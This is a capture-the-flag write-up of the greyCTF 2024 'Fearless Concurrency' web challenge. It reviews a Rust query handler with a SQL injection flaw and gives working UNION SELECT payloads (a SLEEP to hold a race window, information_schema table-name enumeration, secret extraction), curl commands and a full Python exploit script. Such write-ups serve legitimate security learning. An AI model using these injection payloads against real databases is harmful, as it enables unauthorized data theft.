Source Code Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
async fn query(State(state): State<AppState>, Json(body): Json<Query>) -> axum::response::Result<String> {
let users = state.users.read().await;
let user = users.get(&body.user_id).ok_or_else(|| "User not found! Register first!")?;
let user = user.clone();
// Prevent registrations from being blocked while query is running
// Fearless concurrency :tm:
drop(users);
// Prevent concurrent access to the database!
// Don't even try any race condition thingies
// They don't exist in rust!
let _lock = user.lock.lock().await;
let mut conn = state.pool.get_conn().await.map_err(|_| "Failed to acquire connection")?;
// Unguessable table name (requires knowledge of user id and random table id)
let table_id = rand::random::<u32>();
let mut hasher = Sha1::new();
hasher.update(b"fearless_concurrency");
hasher.update(body.user_id.to_le_bytes());
let table_name = format!("tbl_{}_{}", hex::encode(hasher.finalize()), table_id);
let table_name = dbg!(table_name);
let qs = dbg!(body.query_string);
// Create temporary, unguessable table to store user secret
conn.exec_drop(
format!("CREATE TABLE {} (secret int unsigned)", table_name), ()
).await.map_err(|_| "Failed to create table")?;
conn.exec_drop(
format!("INSERT INTO {} values ({})", table_name, user.secret), ()
).await.map_err(|_| "Failed to insert secret")?;
// Secret can't be leaked here since table name is unguessable!
let res = conn.exec_first::<String, _, _>(
format!("SELECT * FROM info WHERE body LIKE '{}'", qs),
()
).await;
// You'll never get the secret!
conn.exec_drop(
format!("DROP TABLE {}", table_name), ()
).await.map_err(|_| "Failed to drop table")?;
let res = res.map_err(|_| "Failed to run query")?;
// _lock is automatically dropped when function exits, releasing the user lock
if let Some(result) = res {
return Ok(result);
}
Ok(String::from("No results!"))
}
Line 17-21:
- We can figure out the table name partially,
table_{<here}_{}
, since its taken fromuser_id
(plaintext) and the stringfearless_concurrency
(salt)user_id
is returned when a user is registered
Line 37-40:
- Susceptible to SQLi due to lack of input sanitization
Line 27-47:
- A table (we know the name) is created and user secret is inserted,
- A pointless query can be made (vulnerable to sqli), pointless since we are just retrieving
Hello World!
- Table is dropped
Exploiting it:
- Register 2 users,
dummy_id
,user_id
user_id
is used to sleep MySQL (so that table is not deleted) and retrieve the Flagdummy_id
is used to leak the fulltable name (tbl_{}_{})
anduser_secret
- Inject a sleep statement with
uid1
- Retrieve full table name using SQL
LIKE
operator withuid2
- Retrieve secret with
uid2
- Retrieve flag with
uid1
Solution
Manual
- Create 2 users
1 2 3 4 5 6
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ curl -X POST http://challs.nusgreyhats.org:33333/register 15428637266543480840 ┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ curl -X POST http://challs.nusgreyhats.org:33333/register 14423584875232163462
- Generate partial table name
1 2 3 4 5 6 7 8 9 10 11 12
In [1]: import hashlib In [2]: def get_hash(user_id): ...: hasher = hashlib.sha1() ...: hasher.update(b'fearless_concurrency') ...: hasher.update(user_id.to_bytes((user_id.bit_length() + 7) // 8, byteorder='little')) ...: table_prefix = f"tbl_{hasher.hexdigest()}" ...: return table_prefix ...: In [3]: get_hash(15428637266543480840) Out[3]: 'tbl_574d112d2ed97edd59f7bd3880291ac45ffa8c2a'
- Inject Sleep
1 2 3
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ cat json/sleep.json {"user_id":15428637266543480840,"query_string":"' UNION SELECT (SELECT SLEEP(30))-- -"}
1 2
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ curl -s -H "Content-Type: application/json" http://challs.nusgreyhats.org:33333/query -d @"json/sleep.json"
- Extract full table name
1
{"user_id":14423584875232163462,"query_string":"' UNION SELECT (SELECT table_name FROM information_schema.tables WHERE table_name LIKE 'tbl_574d112d2ed97edd59f7bd3880291ac45ffa8c2a%')-- -"}
1 2 3
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ curl -s -H "Content-Type: application/json" http://challs.nusgreyhats.org:33333/query -d @"json/get_table_name.json" tbl_278a4fc337ddc0a24dd40a34d5e7f0f48d2ff6e1_1913583239
- Extract secret
1
{"user_id":14423584875232163462,"query_string":"' UNION SELECT (SELECT * FROM tbl_574d112d2ed97edd59f7bd3880291ac45ffa8c2a_3680590309)-- -"}
1 2 3
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ curl -s -H "Content-Type: application/json" http://challs.nusgreyhats.org:33333/query -d @"json/get_secret.json" 2026828775
- Get Flag
1
{"user_id":15428637266543480840,"secret":1679592540}
1 2 3
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ curl -s -H "Content-Type: application/json" http://challs.nusgreyhats.org:33333/flag -d @"json/get_flag.json" grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5}
Demo
Auto
- Run script
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/…/ctf/greyCTF2024/WEB/Fearless Concurrency] └─$ python3 test.py [*] registered user 1 [*] registered user 2 [*] injecting sleep [*] extracting table, secret and flag [*] retrieved table name: tbl_17d6277119176dd65f3673d9718b80e8fa2a9f8b_3690022472 [*] retrieved secret: 2527089681 [*] retrieved flag: grey{ru57_c4n7_pr3v3n7_l061c_3rr0r5} [*] slept
Demo
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
import threading
import time
import hashlib
#proxies = {'http': 'http://127.0.0.1:8080'}
URL = "http://challs.nusgreyhats.org:33333"
def get_hash(user_id):
hasher = hashlib.sha1()
hasher.update(b'fearless_concurrency')
hasher.update(user_id.to_bytes((user_id.bit_length() + 7) // 8, byteorder='little'))
table_prefix = f"tbl_{hasher.hexdigest()}"
return table_prefix
def register():
url = "http://challs.nusgreyhats.org:33333/register"
r = requests.post(url)
return int(r.text)
def sleeper(user_id):
try:
json = {"query_string": "' UNION SELECT SLEEP(15)-- -", "user_id": user_id}
r = requests.post(f"{URL}/query", json=json)
print("[*] slept")
except requests.exceptions.Timeout:
print("request timeout occurred.")
def get_table(user_id, dummy_user_id):
json = {"query_string": f"' UNION SELECT (SELECT table_name FROM information_schema.tables WHERE table_name LIKE '{get_hash(user_id)}%')-- -",
"user_id": dummy_user_id}
r = requests.post(f"{URL}/query", json=json)
print(f"[*] retrieved table name: {r.text}")
return r.text
def get_secret(dummy_user_id, table_name):
json = {"query_string": f"' UNION SELECT (SELECT * FROM {table_name})-- -", "user_id": dummy_user_id}
r = requests.post(f"{URL}/query", json=json)
print(f"[*] retrieved secret: {r.text}")
return int(r.text)
def get_flag(user_id, secret):
json = {"secret": secret, "user_id": user_id}
r = requests.post(f"{URL}/flag", json=json)
print(f"[*] retrieved flag: {r.text}")
return r.text
def main():
dummy_user_id = register()
print(f"[*] registered user 1")
user_id = register()
print(f"[*] registered user 2")
print(f"[*] injecting sleep")
sleeper_thread = threading.Thread(target=sleeper, args=(user_id,))
sleeper_thread.start()
print(f"[*] extracting table, secret and flag")
table_name = get_table(user_id, dummy_user_id)
secret = get_secret(dummy_user_id, table_name)
flag = get_flag(user_id, secret)
sleeper_thread.join()
if __name__ == "__main__":
main()
Failed Attempts
Instead of trying to extract the full name of the table, tried to exfiltrate all the tables, store them in a list and iterate through all of them to get their secrets and then the flags.
After sleeping the MySQL db and then querying for all the tables, the new table (created cuz of the query) isn’t displayed.
Comments powered by Disqus.